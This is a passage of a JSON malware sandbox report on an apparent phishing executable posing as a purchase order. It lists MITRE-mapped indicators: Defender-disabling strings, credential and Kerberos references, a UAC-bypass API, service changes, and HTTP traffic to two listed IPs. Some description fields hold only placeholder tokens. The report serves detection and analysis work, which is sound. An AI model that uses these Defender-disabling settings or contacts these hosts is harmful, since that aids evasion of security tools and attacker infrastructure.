Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$45","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$46","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$47","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$48","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00000864.00000001.295166.3C0E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00000864-00000C2B-3497080695\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00000864-00000C2B-3497058278\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00000864-00000C2B-3497364175\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00000864-00000C2B-3497364246\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00000864-00000C2B-3497058278\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00000864.00000001.295166.FAD90000.00000004.mdmp, 00000000-00000864.00000002.296961.FAE4F000.00000004.mdmp\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00000864.00000001.295166.FD170000.00000004.mdmp, 00000000-00000864.00000002.296961.FD170000.00000004.mdmp\")\n Found reference to API \"WSACleanup\" (Indicator: \"wsacleanup\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 45.151.91.170 on port 80\n HTTP traffic to 107.173.227.99 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$49","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4a","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00000864\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE9F814AF4AD1AF7A7C239D5623576]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000864.00000000.293247.FAD90000.00000004.mdmp, 00000000-00000864.00000001.295166.FAD90000.00000004.mdmp, 00000000-00000864.00000002.296961.FAE4F000.00000004.mdmp\")\n Found string \"ncalrpc\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found string \"+ncalrpc:[OLEDF33101D2C78C884EA22811F136D]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005088.00000000.292569.D7B20000.00000004.mdmp, 00000000-00005088.00000001.293020.D7B20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00000864.00000000.293247.FAD90000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00000864.00000001.295166.3C0E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"\n Found registry query API: \"RegEnumValueW\" in \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"\n Found registry query API: \"RegQueryInfoKeyW\" in \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"\n Found registry query API: \"RegNotifyChangeKeyValue\" in \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountSidW\" (Indicator: \"LookupAccountSid\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$4b","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00005088)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005088)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00000864.00000001.295166.3C0E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"Found string \"ChangeServiceConfigW\" (Indicator: \"changeserviceconfigw\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005088)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found string \"DisableScriptScanning\" (Indicator: \"disablescriptscanning\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found string \"DisableBehaviorMonitoring\" (Indicator: \"disablebehaviormonitoring\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found string \"DisableBlockAtFirstSeen\" (Indicator: \"disableblockatfirstseen\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00000864-00000C2B-3519446195","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"A77D2E9EE813DD010000000000000000000000000200000000\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$4f","origin":"Registry 